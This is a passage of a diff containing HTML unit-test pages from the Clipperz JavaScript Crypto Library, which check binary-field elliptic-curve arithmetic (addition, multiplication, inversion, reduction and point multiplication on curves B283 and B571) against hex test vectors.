<script type='text/javascript' src='../../../../js/Clipperz/Crypto/ECC/BinaryField/Point.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/Crypto/ECC/BinaryField/FiniteField.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/Crypto/ECC/BinaryField/Curve.js'></script>
|
||||
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/Crypto/ECC/StandardCurves.js'></script>
|
||||
|
||||
</head>
|
||||
<body>
|
||||
<pre id="test">
|
||||
<script type="text/javascript">
|
||||
try {
|
||||
|
||||
var deferredResult;
|
||||
|
||||
|
||||
deferredResult = new MochiKit.Async.Deferred();
|
||||
//deferredResult.addBoth(function(res) {MochiKit.Logging.logDebug("** 1: " + res); return res;});
|
||||
|
||||
//
|
||||
// ECC.Curve.multiplication
|
||||
//
|
||||
var curve;
|
||||
var f2m;
|
||||
var f2m_improved;
|
||||
var value;
|
||||
var moduledValue;
|
||||
var result;
|
||||
var result_improved;
|
||||
var expectedResul;
|
||||
|
||||
f2m = new Clipperz.Crypto.ECC.BinaryField.FiniteField({modulus:new Clipperz.Crypto.ECC.BinaryField.Value('08000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 000010a1', 16)})
|
||||
f2m_improved = Clipperz.Crypto.ECC.StandardCurves.B283().finiteField();
|
||||
|
||||
curve = Clipperz.Crypto.ECC.StandardCurves.B283();
|
||||
|
||||
/** /
|
||||
value = new Clipperz.Crypto.ECC.BinaryField.Value("7b", 16);
|
||||
result = curve.multiply(value, curve.G());
|
||||
expectedResult = new Clipperz.Crypto.ECC.BinaryField.Point({
|
||||
x: new Clipperz.Crypto.ECC.BinaryField.Value('29705d23a9cda75e43984bdb9a8fd33304682da0f506a69bdbd5f36657e11b41e35fcdd', 16),
|
||||
y: new Clipperz.Crypto.ECC.BinaryField.Value('59157d2ace16563a905361c5206cc0775c3330f4978bddf8aa9916c451cf9951313623b', 16)
|
||||
});
|
||||
is(result.x().asString(16), expectedResult.x().asString(16), "ECC.Curve.multiplication: result.x does match");
|
||||
is(result.y().asString(16), expectedResult.y().asString(16), "ECC.Curve.multiplication: result.y does match");
|
||||
/ **/
|
||||
|
||||
value = new Clipperz.Crypto.ECC.BinaryField.Value("ba35032a24eb81238251d85824998bebae3b3e09f4d3845256c87585cf62416ee43191", 16);
|
||||
|
||||
//deferredResult.addBoth(function(res) {MochiKit.Logging.logDebug("** 6: " + res); return res;});
|
||||
// deferredResult.addCallback(console.time, 'B283.deferred.multiply - moduled value');
|
||||
//deferredResult.addBoth(function(res) {MochiKit.Base.logDebug("2 - " + res); return res;});
|
||||
//deferredResult.addBoth(function(res) {MochiKit.Logging.logDebug("** 7: " + res); return res;});
|
||||
deferredResult.addMethod(curve, 'deferredMultiply', value, curve.G());
|
||||
//deferredResult.addBoth(function(res) {MochiKit.Base.logDebug("3 - " + res); return res;});
|
||||
//deferredResult.addBoth(function(res) {MochiKit.Logging.logDebug("** 8: " + res); return res;});
|
||||
// deferredResult.addBoth(function(res) {console.timeEnd('B283.deferred.multiply - moduled value'); return res;});
|
||||
//deferredResult.addBoth(function(res) {MochiKit.Base.logDebug("4 - " + res); return res;});
|
||||
//deferredResult.addBoth(function(res) {MochiKit.Logging.logDebug("** 9: " + res); return res;});
|
||||
deferredResult.addCallback(function(res) {
|
||||
var expectedResult;
|
||||
|
||||
expectedResult = new Clipperz.Crypto.ECC.BinaryField.Point({
|
||||
x: new Clipperz.Crypto.ECC.BinaryField.Value('7cf07c0880d1ae59f567a2ce420e78d1fdfc1249df694a60e5d40d23c6dc631e1501b77', 16),
|
||||
y: new Clipperz.Crypto.ECC.BinaryField.Value('97d1257d5c98cf71cf481bc0a495e0588150ea904526f503cd600f5e971c39700e95f1', 16)
|
||||
});
|
||||
|
||||
is(res.x().asString(16), expectedResult.x().asString(16), "ECC.Curve.multiplication: result.x does match");
|
||||
is(res.y().asString(16), expectedResult.y().asString(16), "ECC.Curve.multiplication: result.y does match");
|
||||
})
|
||||
//deferredResult.addBoth(function(res) {MochiKit.Base.logDebug("5 - " + res); return res;});
|
||||
//deferredResult.addBoth(function(res) {MochiKit.Logging.logDebug("** 10: " + res); return res;});
|
||||
deferredResult.addBoth(function(res) {SimpleTest.finish(); return res;});
|
||||
deferredResult.addBoth(function(res) {MochiKit.Logging.logDebug(res); return res;});
|
||||
deferredResult.callback();
|
||||
|
||||
SimpleTest.waitForExplicitFinish();
|
||||
|
||||
//-------------------------------------------------------------------------
|
||||
} catch (err) {
|
||||
|
||||
var s = "test suite failure!\n";
|
||||
var o = {};
|
||||
var k = null;
|
||||
for (k in err) {
|
||||
// ensure unique keys?!
|
||||
if (!o[k]) {
|
||||
s += k + ": " + err[k] + "\n";
|
||||
o[k] = err[k];
|
||||
}
|
||||
}
|
||||
ok ( false, s );
|
||||
}
|
||||
|
||||
</script>
|
||||
</pre>
|
||||
</body>
|
||||
</html>
|
||||
@@ -0,0 +1,209 @@
|
||||
<!--
|
||||
|
||||
Copyright 2008-2011 Clipperz Srl
|
||||
|
||||
This file is part of Clipperz's Javascript Crypto Library.
|
||||
Javascript Crypto Library provides web developers with an extensive
|
||||
and efficient set of cryptographic functions. The library aims to
|
||||
obtain maximum execution speed while preserving modularity and
|
||||
reusability.
|
||||
For further information about its features and functionalities please
|
||||
refer to http://www.clipperz.com
|
||||
|
||||
* Javascript Crypto Library is free software: you can redistribute
|
||||
it and/or modify it under the terms of the GNU Affero General Public
|
||||
License as published by the Free Software Foundation, either version
|
||||
3 of the License, or (at your option) any later version.
|
||||
|
||||
* Javascript Crypto Library is distributed in the hope that it will
|
||||
be useful, but WITHOUT ANY WARRANTY; without even the implied
|
||||
warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
|
||||
See the GNU Affero General Public License for more details.
|
||||
|
||||
* You should have received a copy of the GNU Affero General Public
|
||||
License along with Javascript Crypto Library. If not, see
|
||||
<http://www.gnu.org/licenses/>.
|
||||
|
||||
-->
|
||||
|
||||
<html>
|
||||
<head>
|
||||
<script type="text/javascript" src="../../../../js/MochiKit/MochiKit.js"></script>
|
||||
<script type="text/javascript" src="../../../../js/JSLog/jslog.js"></script>
|
||||
<script type="text/javascript" src="../../../SimpleTest/SimpleTest.js"></script>
|
||||
<link rel="stylesheet" type="text/css" href="../../../SimpleTest/test.css">
|
||||
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/Base.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/ByteArray.js'></script>
|
||||
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/Crypto/BigInt.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/Crypto/Base.js'></script>
|
||||
<!--<script type='text/javascript' src='../../../../js/Clipperz/Crypto/ECC.js'></script>-->
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/Crypto/ECC/BinaryField/Value.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/Crypto/ECC/BinaryField/Point.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/Crypto/ECC/BinaryField/FiniteField.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/Crypto/ECC/BinaryField/Curve.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/Crypto/Functions.js'></script>
|
||||
</head>
|
||||
<body>
|
||||
<pre id="test">
|
||||
<script type="text/javascript">
|
||||
try {
|
||||
//
|
||||
// ECC.BinaryFiniteField
|
||||
//
|
||||
var f2m;
|
||||
var f2m_improved;
|
||||
var a, a1, b;
|
||||
var result;
|
||||
var result_improved;
|
||||
var expectedResul;
|
||||
|
||||
f2m = new Clipperz.Crypto.ECC.BinaryField.FiniteField({modulus:new Clipperz.Crypto.ECC.BinaryField.Value('08000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 000010a1', 16)})
|
||||
f2m_improved = Clipperz.Crypto.ECC.StandardCurves.B283().finiteField();
|
||||
a = new Clipperz.Crypto.ECC.BinaryField.Value("05c91e41 d9ca17ef 9d8a33c1 a44eba6d 368fde02 1c492077 1a46eb01 a481e5f7 f430749d", 16);
|
||||
b = new Clipperz.Crypto.ECC.BinaryField.Value("07377071 2de7d57b a803f65f 45786c06 876b8066 db75ec47 81c053b0 a0f78e2c a6ab5187", 16);
|
||||
|
||||
//
|
||||
// addition
|
||||
//
|
||||
result = f2m.add(a, b);
|
||||
expectedResult = new Clipperz.Crypto.ECC.BinaryField.Value("2fe6e30f42dc2943589c59ee136d66bb1e45e64c73ccc309b86b8b104766bdb529b251a", 16);
|
||||
is(result.asString(16), expectedResult.asString(16), "ECC.BinaryFinetField.add");
|
||||
|
||||
|
||||
//
|
||||
// negation
|
||||
//
|
||||
result = f2m.negate(a);
|
||||
expectedResult = new Clipperz.Crypto.ECC.BinaryField.Value("5c91e41d9ca17ef9d8a33c1a44eba6d368fde021c4920771a46eb01a481e5f7f430749d", 16);
|
||||
is(result.asString(16), expectedResult.asString(16), "ECC.BinaryFinetField.negate");
|
||||
|
||||
|
||||
//
|
||||
// multiplication
|
||||
//
|
||||
result = f2m.multiply(a, b);
|
||||
expectedResult = new Clipperz.Crypto.ECC.BinaryField.Value("2bacb89668741f6d1f7fd7d3df2f045814086adba11d8bb5f12f3f9851e3b66fbe283cb", 16);
|
||||
is(result.asString(16), expectedResult.asString(16), "ECC.BinaryFinetField.multiply");
|
||||
|
||||
|
||||
//
|
||||
// fast multiplication
|
||||
//
|
||||
result = f2m.fastMultiply(a, b);
|
||||
expectedResult = f2m.multiply(a, b);
|
||||
is(result.asString(16), expectedResult.asString(16), "ECC.BinaryFinetField.fastMultiply");
|
||||
|
||||
a = new Clipperz.Crypto.ECC.BinaryField.Value("2fe6e30f42dc2943589c59ee136d66bb1e45e64c73ccc309b86b8b104766bdb529b251a", 16);
|
||||
b = new Clipperz.Crypto.ECC.BinaryField.Value("5c91e41d9ca17ef9d8a33c1a44eba6d368fde021c4920771a46eb01a481e5f7f430749d", 16);
|
||||
result = f2m.fastMultiply(a, b);
|
||||
expectedResult = f2m.multiply(a, b);
|
||||
is(result.asString(16), expectedResult.asString(16), "ECC.BinaryFinetField.B283.fastMultiply");
|
||||
|
||||
//
|
||||
// square
|
||||
//
|
||||
a = new Clipperz.Crypto.ECC.BinaryField.Value("1111", 16);
|
||||
result = f2m.square(a);
|
||||
expectedResult = f2m.multiply(a, a);
|
||||
is(result.asString(16), expectedResult.asString(16), "ECC.BinaryFinetField.square");
|
||||
|
||||
a = new Clipperz.Crypto.ECC.BinaryField.Value("11111111", 16);
|
||||
result = f2m.square(a);
|
||||
expectedResult = f2m.multiply(a, a);
|
||||
is(result.asString(16), expectedResult.asString(16), "ECC.BinaryFinetField.square");
|
||||
|
||||
a = new Clipperz.Crypto.ECC.BinaryField.Value("5c91e41d9ca17ef9d8a33c1a44eba6d368fde021c4920771a46eb01a481e5f7f430749d", 16);
|
||||
result = f2m.square(a);
|
||||
expectedResult = f2m.multiply(a, a);
|
||||
is(result.asString(16), expectedResult.asString(16), "ECC.BinaryFinetField.square");
|
||||
|
||||
|
||||
//
|
||||
// inverse
|
||||
//
|
||||
a = new Clipperz.Crypto.ECC.BinaryField.Value("2fe6e30f42dc2943589c59ee136d66bb1e45e64c73ccc309b86b8b104766bdb529b251a", 16);
|
||||
result = f2m.inverse(a);
|
||||
expectedResult = new Clipperz.Crypto.ECC.BinaryField.Value("3812fc574f3728c60384e141c0e2a808e21adec22dcd407b9e25dd13c6d1bf22defd84a", 16);
|
||||
is(result.asString(16), expectedResult.asString(16), "ECC.BinaryFinetField.inverse");
|
||||
|
||||
|
||||
//
|
||||
// module
|
||||
//
|
||||
|
||||
a = new Clipperz.Crypto.ECC.BinaryField.Value("015655ebcb09fac51945162a0775f42df6151169826efdc55dea5d17c22adb92e6b1a6ae8311545ad7e0f46f09a5b960855e673db1e803a5b94562161213204ca1f24792e81f060a0aa6c29a492f106cc6d0b0ff4617b736dab590590a8cff9f807a15282544404e6b35841703c9fb00a9cad1d6878d601efc25368bdc51d5ff14a81610f4fe62cb2f452aee520a16", 16);
|
||||
a1 = new Clipperz.Crypto.ECC.BinaryField.Value("015655ebcb09fac51945162a0775f42df6151169826efdc55dea5d17c22adb92e6b1a6ae8311545ad7e0f46f09a5b960855e673db1e803a5b94562161213204ca1f24792e81f060a0aa6c29a492f106cc6d0b0ff4617b736dab590590a8cff9f807a15282544404e6b35841703c9fb00a9cad1d6878d601efc25368bdc51d5ff14a81610f4fe62cb2f452aee520a16", 16);
|
||||
result = f2m.module(a);
|
||||
result_improved = f2m_improved.module(a1);
|
||||
expectedResult = new Clipperz.Crypto.ECC.BinaryField.Value("2bacb89668741f6d1f7fd7d3df2f045814086adba11d8bb5f12f3f9851e3b66fbe283cb", 16);
|
||||
is(result.asString(16), expectedResult.asString(16), "ECC.BinaryFiniteField.module");
|
||||
is(result_improved.asString(16), expectedResult.asString(16), "ECC.BinaryFiniteField.module (improved)");
|
||||
is(result.asString(16), result_improved.asString(16), "standard vs improved 'module' methods");
|
||||
|
||||
|
||||
a = new Clipperz.Crypto.ECC.BinaryField.Value("1401ca87b8f144684a2c58ae9308c237789e4bf1f36dd117c150b7d6076dd1da6197fe4c5225a064db0e4222589d5ca50eb6bb6b7147a03f61528438a8767c6a6c4a6883fd6f067112f5c97e74737b38925fafe22cea3e12b868d4ddea5b3341db8fc2e788cab74f0a7a3cc27087a89365945369938650a99217d566e13f80dc87f08273f7411b6b01ef1d399c772a", 16);
|
||||
a1 = new Clipperz.Crypto.ECC.BinaryField.Value("1401ca87b8f144684a2c58ae9308c237789e4bf1f36dd117c150b7d6076dd1da6197fe4c5225a064db0e4222589d5ca50eb6bb6b7147a03f61528438a8767c6a6c4a6883fd6f067112f5c97e74737b38925fafe22cea3e12b868d4ddea5b3341db8fc2e788cab74f0a7a3cc27087a89365945369938650a99217d566e13f80dc87f08273f7411b6b01ef1d399c772a", 16);
|
||||
result = f2m.module(a);
|
||||
result_improved = f2m_improved.module(a1);
|
||||
expectedResult = new Clipperz.Crypto.ECC.BinaryField.Value("15e2097d116e745ac47480807cb5eb99dad902728aaf5692241063bc70a5b372dbce798", 16);
|
||||
is(result.asString(16), expectedResult.asString(16), "ECC.BinaryFiniteField.module (2)");
|
||||
is(result_improved.asString(16), expectedResult.asString(16), "ECC.BinaryFiniteField.module (improved) (2)");
|
||||
is(result.asString(16), result_improved.asString(16), "standard vs improved 'module' methods (2)");
|
||||
|
||||
|
||||
a = new Clipperz.Crypto.ECC.BinaryField.Value("112f5c97e74737b38925fafe22cea3e12b868d4ddea5b3341db8fc2e788cab74f0a7a3cc27087a89365945369938650a99217d566e13f80dc87f08273f7411b6b01ef1d399c772a1401ca87b8f144684a2c58ae9308c237789e4bf1f36dd117c150b7d6076dd1da6197fe4c5225a064db0e4222589d5ca50eb6bb6b7147a03f61528438a8767c6a6c4a6883fd6f067", 16);
|
||||
a1 = new Clipperz.Crypto.ECC.BinaryField.Value("112f5c97e74737b38925fafe22cea3e12b868d4ddea5b3341db8fc2e788cab74f0a7a3cc27087a89365945369938650a99217d566e13f80dc87f08273f7411b6b01ef1d399c772a1401ca87b8f144684a2c58ae9308c237789e4bf1f36dd117c150b7d6076dd1da6197fe4c5225a064db0e4222589d5ca50eb6bb6b7147a03f61528438a8767c6a6c4a6883fd6f067", 16);
|
||||
result = f2m.module(a);
|
||||
result_improved = f2m_improved.module(a1);
|
||||
expectedResult = new Clipperz.Crypto.ECC.BinaryField.Value("40f04cec8fe9caedf82adeff7e1aa06dcb9d08e097db8be2ad54b2ddc2e752152395623", 16);
|
||||
is(result.asString(16), expectedResult.asString(16), "ECC.BinaryFiniteField.module (3)");
|
||||
is(result_improved.asString(16), expectedResult.asString(16), "ECC.BinaryFiniteField.module (improved) (3)");
|
||||
is(result.asString(16), result_improved.asString(16), "standard vs improved 'module' methods (3)");
|
||||
|
||||
|
||||
a = new Clipperz.Crypto.ECC.BinaryField.Value("02f4bf57710a7e0826a80a339e59e34476c343e75452e4bf4355847e6b41e655ecb08f4c418b172d7963c525c26fdc84ac294a348d3907652f0fcbff3e4c8e2238a478e4277489ce", 16);
|
||||
is(a.asString(16), "02f4bf57710a7e0826a80a339e59e34476c343e75452e4bf4355847e6b41e655ecb08f4c418b172d7963c525c26fdc84ac294a348d3907652f0fcbff3e4c8e2238a478e4277489ce", "ECC.BinaryFiniteField - original value as expected (4)")
|
||||
a1 = new Clipperz.Crypto.ECC.BinaryField.Value("02f4bf57710a7e0826a80a339e59e34476c343e75452e4bf4355847e6b41e655ecb08f4c418b172d7963c525c26fdc84ac294a348d3907652f0fcbff3e4c8e2238a478e4277489ce", 16);
|
||||
result = f2m.module(a);
|
||||
result_improved = f2m_improved.module(a1);
|
||||
expectedResult = new Clipperz.Crypto.ECC.BinaryField.Value("ba35032a24eb81238251d85824998bebae3b3e09f4d3845256c87585cf62416ee43191", 16);
|
||||
is(result.asString(16), expectedResult.asString(16), "ECC.BinaryFiniteField.module (4)");
|
||||
is(result_improved.asString(16), expectedResult.asString(16), "ECC.BinaryFiniteField.module (improved) (4)");
|
||||
is(result_improved.asString(16), "ba35032a24eb81238251d85824998bebae3b3e09f4d3845256c87585cf62416ee43191", "ECC.BinaryFinetField.module (static check) (4)");
|
||||
is(result.asString(16), result_improved.asString(16), "standard vs improved 'module' methods (4)");
|
||||
|
||||
is(a.asString(16), "02f4bf57710a7e0826a80a339e59e34476c343e75452e4bf4355847e6b41e655ecb08f4c418b172d7963c525c26fdc84ac294a348d3907652f0fcbff3e4c8e2238a478e4277489ce", "ECC.BinaryFiniteField - original value preserved by standard method (4)")
|
||||
is(a1.asString(16), "02f4bf57710a7e0826a80a339e59e34476c343e75452e4bf4355847e6b41e655ecb08f4c418b172d7963c525c26fdc84ac294a348d3907652f0fcbff3e4c8e2238a478e4277489ce", "ECC.BinaryFiniteField - original value preserved by improved method (4)")
|
||||
|
||||
|
||||
a = new Clipperz.Crypto.ECC.BinaryField.Value("2f4bf57710a7e0826a80a339e59e34476c343e75452e4bf4355847e6b41e655ecb08f4c418b172d7963c525c26fdc84ac294a348d3907652f0fcbff3e4c8e2238a478e4277489ce", 16);
|
||||
result_improved = f2m_improved.module(a);
|
||||
result = f2m.module(a);
|
||||
expectedResult = new Clipperz.Crypto.ECC.BinaryField.Value("ba35032a24eb81238251d85824998bebae3b3e09f4d3845256c87585cf62416ee43191", 16);
|
||||
is(result.asString(16), expectedResult.asString(16), "ECC.BinaryFiniteField.module (5)");
|
||||
is(result_improved.asString(16), expectedResult.asString(16), "ECC.BinaryFiniteField.module (improved) (5)");
|
||||
is(result_improved.asString(16), "ba35032a24eb81238251d85824998bebae3b3e09f4d3845256c87585cf62416ee43191", "ECC.BinaryFinetField.module (static check) (5)");
|
||||
is(result.asString(16), result_improved.asString(16), "standard vs improved 'module' methods (5)");
|
||||
|
||||
//-------------------------------------------------------------------------
|
||||
} catch (err) {
|
||||
|
||||
var s = "test suite failure!\n";
|
||||
var o = {};
|
||||
var k = null;
|
||||
for (k in err) {
|
||||
// ensure unique keys?!
|
||||
if (!o[k]) {
|
||||
s += k + ": " + err[k] + "\n";
|
||||
o[k] = err[k];
|
||||
}
|
||||
}
|
||||
ok ( false, s );
|
||||
}
|
||||
|
||||
</script>
|
||||
</pre>
|
||||
</body>
|
||||
</html>
|
||||
@@ -0,0 +1,183 @@
|
||||
<!--
|
||||
|
||||
Copyright 2008-2011 Clipperz Srl
|
||||
|
||||
This file is part of Clipperz's Javascript Crypto Library.
|
||||
Javascript Crypto Library provides web developers with an extensive
|
||||
and efficient set of cryptographic functions. The library aims to
|
||||
obtain maximum execution speed while preserving modularity and
|
||||
reusability.
|
||||
For further information about its features and functionalities please
|
||||
refer to http://www.clipperz.com
|
||||
|
||||
* Javascript Crypto Library is free software: you can redistribute
|
||||
it and/or modify it under the terms of the GNU Affero General Public
|
||||
License as published by the Free Software Foundation, either version
|
||||
3 of the License, or (at your option) any later version.
|
||||
|
||||
* Javascript Crypto Library is distributed in the hope that it will
|
||||
be useful, but WITHOUT ANY WARRANTY; without even the implied
|
||||
warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
|
||||
See the GNU Affero General Public License for more details.
|
||||
|
||||
* You should have received a copy of the GNU Affero General Public
|
||||
License along with Javascript Crypto Library. If not, see
|
||||
<http://www.gnu.org/licenses/>.
|
||||
|
||||
-->
|
||||
|
||||
<html>
|
||||
<head>
|
||||
<script type="text/javascript" src="../../../../js/MochiKit/MochiKit.js"></script>
|
||||
<script type="text/javascript" src="../../../../js/JSLog/jslog.js"></script>
|
||||
<script type="text/javascript" src="../../../SimpleTest/SimpleTest.js"></script>
|
||||
<link rel="stylesheet" type="text/css" href="../../../SimpleTest/test.css">
|
||||
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/Base.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/ByteArray.js'></script>
|
||||
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/Crypto/BigInt.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/Crypto/Base.js'></script>
|
||||
<!--<script type='text/javascript' src='../../../../js/Clipperz/Crypto/ECC.js'></script>-->
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/Crypto/ECC/BinaryField/Value.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/Crypto/ECC/BinaryField/Point.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/Crypto/ECC/BinaryField/FiniteField.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/Crypto/ECC/BinaryField/Curve.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/Crypto/Functions.js'></script>
|
||||
</head>
|
||||
<body>
|
||||
<pre id="test">
|
||||
<script type="text/javascript">
|
||||
try {
|
||||
//
|
||||
// ECC.BinaryFiniteField
|
||||
//
|
||||
var f2m;
|
||||
var f2m_improved;
|
||||
var a, b;
|
||||
var result;
|
||||
var result_improved;
|
||||
var expectedResul;
|
||||
|
||||
f2m = new Clipperz.Crypto.ECC.BinaryField.FiniteField({modulus:new Clipperz.Crypto.ECC.BinaryField.Value('80000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000425', 16)})
|
||||
f2m_improved = Clipperz.Crypto.ECC.StandardCurves.B571().finiteField();
|
||||
a = new Clipperz.Crypto.ECC.BinaryField.Value("01401ca8 7b8f1446 84a2c58a e9308c23 7789e4bf 1f36dd11 7c150b7d 6076dd1d a6197fe4 c5225a06 4db0e422 2589d5ca 50eb6bb6 b7147a03 f6152843 8a8767c6 a6c4a688 3fd6f067", 16);
|
||||
b = new Clipperz.Crypto.ECC.BinaryField.Value("0112f5c9 7e74737b 38925faf e22cea3e 12b868d4 ddea5b33 41db8fc2 e788cab7 4f0a7a3c c27087a8 93659453 69938650 a99217d5 66e13f80 dc87f082 73f7411b 6b01ef1d 399c772a", 16);
|
||||
|
||||
//
|
||||
// addition
|
||||
//
|
||||
result = f2m.add(a, b);
|
||||
expectedResult = new Clipperz.Crypto.ECC.BinaryField.Value("52e96105fb673dbc309a250b1c661d65318c6bc2dc86223dce84bf87fe17aae91305d80752ddaeded570714c1a539af9797c63d1f545832a92d8c1f97026ddcdc54995064a874d", 16);
|
||||
is(result.asString(16), expectedResult.asString(16), "ECC.BinaryFinetField.add");
|
||||
|
||||
|
||||
//
|
||||
// negation
|
||||
//
|
||||
result = f2m.negate(a);
|
||||
expectedResult = new Clipperz.Crypto.ECC.BinaryField.Value("1401ca87b8f144684a2c58ae9308c237789e4bf1f36dd117c150b7d6076dd1da6197fe4c5225a064db0e4222589d5ca50eb6bb6b7147a03f61528438a8767c6a6c4a6883fd6f067", 16);
|
||||
is(result.asString(16), expectedResult.asString(16), "ECC.BinaryFinetField.negate");
|
||||
|
||||
|
||||
//
|
||||
// multiplication
|
||||
//
|
||||
result = f2m.multiply(a, b);
|
||||
expectedResult = new Clipperz.Crypto.ECC.BinaryField.Value("4f8e4c0ae7664b284d3b4cb1b3f9568a1ce6e6e96b5381e184fe0822cb3d5c3a3f01ffd0206355d9e5c4853472bb33cf6b2d861d6b48c39d33a360e9a63ad2f7102f92e68a12312", 16);
|
||||
is(result.asString(16), expectedResult.asString(16), "ECC.BinaryFinetField.multiply");
|
||||
|
||||
|
||||
//
|
||||
// fast multiplication
|
||||
//
|
||||
result = f2m.fastMultiply(a, b);
|
||||
expectedResult = f2m.multiply(a, b);
|
||||
is(result.asString(16), expectedResult.asString(16), "ECC.BinaryFinetField.fastMultiply");
|
||||
|
||||
a = new Clipperz.Crypto.ECC.BinaryField.Value("52e96105fb673dbc309a250b1c661d65318c6bc2dc86223dce84bf87fe17aae91305d80752ddaeded570714c1a539af9797c63d1f545832a92d8c1f97026ddcdc54995064a874d", 16);
|
||||
b = new Clipperz.Crypto.ECC.BinaryField.Value("1401ca87b8f144684a2c58ae9308c237789e4bf1f36dd117c150b7d6076dd1da6197fe4c5225a064db0e4222589d5ca50eb6bb6b7147a03f61528438a8767c6a6c4a6883fd6f067", 16);
|
||||
result = f2m.fastMultiply(a, b);
|
||||
expectedResult = f2m.multiply(a, b);
|
||||
is(result.asString(16), expectedResult.asString(16), "ECC.BinaryFinetField.fastMultiply");
|
||||
|
||||
//
|
||||
// square
|
||||
//
|
||||
a = new Clipperz.Crypto.ECC.BinaryField.Value("1111", 16);
|
||||
result = f2m.square(a);
|
||||
expectedResult = f2m.multiply(a, a);
|
||||
is(result.asString(16), expectedResult.asString(16), "ECC.BinaryFinetField.square");
|
||||
|
||||
a = new Clipperz.Crypto.ECC.BinaryField.Value("11111111", 16);
|
||||
result = f2m.square(a);
|
||||
expectedResult = f2m.multiply(a, a);
|
||||
is(result.asString(16), expectedResult.asString(16), "ECC.BinaryFinetField.square");
|
||||
|
||||
a = new Clipperz.Crypto.ECC.BinaryField.Value("1401ca87b8f144684a2c58ae9308c237789e4bf1f36dd117c150b7d6076dd1da6197fe4c5225a064db0e4222589d5ca50eb6bb6b7147a03f61528438a8767c6a6c4a6883fd6f067", 16);
|
||||
result = f2m.square(a);
|
||||
expectedResult = f2m.multiply(a, a);
|
||||
is(result.asString(16), expectedResult.asString(16), "ECC.BinaryFinetField.square");
|
||||
|
||||
|
||||
//
|
||||
// inverse
|
||||
//
|
||||
a = new Clipperz.Crypto.ECC.BinaryField.Value("1401ca87b8f144684a2c58ae9308c237789e4bf1f36dd117c150b7d6076dd1da6197fe4c5225a064db0e4222589d5ca50eb6bb6b7147a03f61528438a8767c6a6c4a6883fd6f067", 16);
|
||||
result = f2m.inverse(a);
|
||||
expectedResult = new Clipperz.Crypto.ECC.BinaryField.Value("1f898c60983c4e807e619b9cbe528585fc33aaae419d5e5cb2107269ccdcf21d5ad5b5d78d37fa435a0d0a8a75f2506240c325c6a2eee1a03008f9e1b9c6c0a511b730cdaf9b97e", 16);
|
||||
is(result.asString(16), expectedResult.asString(16), "ECC.BinaryFinetField.inverse");
|
||||
|
||||
|
||||
//
|
||||
// module
|
||||
//
|
||||
|
||||
a = new Clipperz.Crypto.ECC.BinaryField.Value("015655ebcb09fac51945162a0775f42df6151169826efdc55dea5d17c22adb92e6b1a6ae8311545ad7e0f46f09a5b960855e673db1e803a5b94562161213204ca1f24792e81f060a0aa6c29a492f106cc6d0b0ff4617b736dab590590a8cff9f807a15282544404e6b35841703c9fb00a9cad1d6878d601efc25368bdc51d5ff14a81610f4fe62cb2f452aee520a16", 16);
|
||||
a1 = new Clipperz.Crypto.ECC.BinaryField.Value("015655ebcb09fac51945162a0775f42df6151169826efdc55dea5d17c22adb92e6b1a6ae8311545ad7e0f46f09a5b960855e673db1e803a5b94562161213204ca1f24792e81f060a0aa6c29a492f106cc6d0b0ff4617b736dab590590a8cff9f807a15282544404e6b35841703c9fb00a9cad1d6878d601efc25368bdc51d5ff14a81610f4fe62cb2f452aee520a16", 16);
|
||||
result = f2m.module(a);
|
||||
result_improved = f2m_improved.module(a1);
|
||||
expectedResult = new Clipperz.Crypto.ECC.BinaryField.Value("4f8e4c0ae7664b284d3b4cb1b3f9568a1ce6e6e96b5381e184fe0822cb3d5c3a3f01ffd0206355d9e5c4853472bb33cf6b2d861d6b48c39d33a360e9a63ad2f7102f92e68a12312", 16);
|
||||
is(result.asString(16), expectedResult.asString(16), "ECC.BinaryFinetField.module");
|
||||
is(result_improved.asString(16), expectedResult.asString(16), "ECC.BinaryFinetField.module (improved)");
|
||||
// is(result.asString(16), result_improved.asString(16), "standard vs improved 'module' methods");
|
||||
|
||||
|
||||
a = new Clipperz.Crypto.ECC.BinaryField.Value("1401ca87b8f144684a2c58ae9308c237789e4bf1f36dd117c150b7d6076dd1da6197fe4c5225a064db0e4222589d5ca50eb6bb6b7147a03f61528438a8767c6a6c4a6883fd6f067112f5c97e74737b38925fafe22cea3e12b868d4ddea5b3341db8fc2e788cab74f0a7a3cc27087a89365945369938650a99217d566e13f80dc87f08273f7411b6b01ef1d399c772a", 16);
|
||||
a1 = new Clipperz.Crypto.ECC.BinaryField.Value("1401ca87b8f144684a2c58ae9308c237789e4bf1f36dd117c150b7d6076dd1da6197fe4c5225a064db0e4222589d5ca50eb6bb6b7147a03f61528438a8767c6a6c4a6883fd6f067112f5c97e74737b38925fafe22cea3e12b868d4ddea5b3341db8fc2e788cab74f0a7a3cc27087a89365945369938650a99217d566e13f80dc87f08273f7411b6b01ef1d399c772a", 16);
|
||||
result = f2m.module(a);
|
||||
result_improved = f2m_improved.module(a1);
|
||||
